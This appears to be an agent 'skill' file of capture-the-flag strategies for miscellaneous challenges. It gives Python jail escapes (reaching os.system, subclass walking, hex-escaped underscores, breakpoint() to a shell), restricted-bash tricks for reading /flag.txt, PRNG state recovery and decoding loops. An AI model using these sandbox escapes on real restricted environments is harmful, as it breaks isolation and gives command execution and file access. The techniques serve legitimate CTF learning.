# misc

> Miscellaneous challenge solving strategies

- Author: zero
- Repository: zeromaj/cyberpen
- Version: 20260127003604
- Stars: 0
- Forks: 0
- Last Updated: 2026-02-06
- Source: https://github.com/zeromaj/cyberpen
- Web: https://mule.run/skillshub/@@zeromaj/cyberpen~misc:20260127003604

---

---
name: misc
category: misc
description: Miscellaneous challenge solving strategies
triggers: [jail, sandbox, escape, pyjail, python_jail, restricted, eval, exec, import, builtins, bash_jail, rbash, regex, encoding, qr, barcode, esoteric, brainfuck, whitespace, game, puzzle, programming, algorithm, math, number_theory, combinatorics, random, seed, prng, lfsr, mt19937]
difficulty_range: [1, 5]
requires_tools: [python3]
priority: 70
---
# Misc Challenge Strategy

## Python Jail Escapes
```python
# Basic builtins access
__builtins__.__import__('os').system('cat /flag.txt')

# No builtins
().__class__.__bases__[0].__subclasses__()
# Find subprocess.Popen or os._wrap_close in subclasses

# No underscores
getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbases\x5f\x5f')

# breakpoint() trick (Python 3.7+)
breakpoint()  # Drops to pdb, then: import os; os.system('sh')

# Unicode tricks
flag = __import__  # fl ligature

# eval/exec with limited chars
eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
```

## Bash Jail Escapes
```bash
# Read files without cat
< /flag.txt
while read line; do echo $line; done < /flag.txt
exec 3< /flag.txt; read -u 3 line; echo $line

# No spaces
{cat,/flag.txt}
cat${IFS}/flag.txt
cat$'\x20'/flag.txt

# No slashes
cd ..; cd ..; cat flag.txt

# Limited commands
printf '%s\n' "$(<file)"
```

## PRNG/Random Challenges
```python
# Python random (MT19937)
import random
# If you can observe 624 outputs, reconstruct state
from randcrack import RandCrack

# Known seed
random.seed(KNOWN_SEED)

# Time-based seed
import time
random.seed(int(time.time()))
```

## Encoding Chains
Common encoding chain: Flag -> Base64 -> Hex -> ROT13 -> URL encode
Reverse the chain by identifying each layer.

```python
import base64, codecs, urllib.parse

data = "encoded_string"
# Try common decodings
for _ in range(10):
    try:
        data = base64.b64decode(data).decode()
        continue
    except: pass
    try:
        data = bytes.fromhex(data).decode()
        continue
    except: pass
    try:
        data = codecs.decode(data, 'rot_13')
        if '{' in data: break
    except: pass
    break
print(data)
```

## Key Tips
- Read the challenge source COMPLETELY - the bypass is in the details
- For jails: enumerate what's available, not what's blocked
- For encoding: identify the format by character set and structure
- For PRNG: time-based seeds are common, check `int(time.time())`
- For programming: implement the algorithm, don't brute-force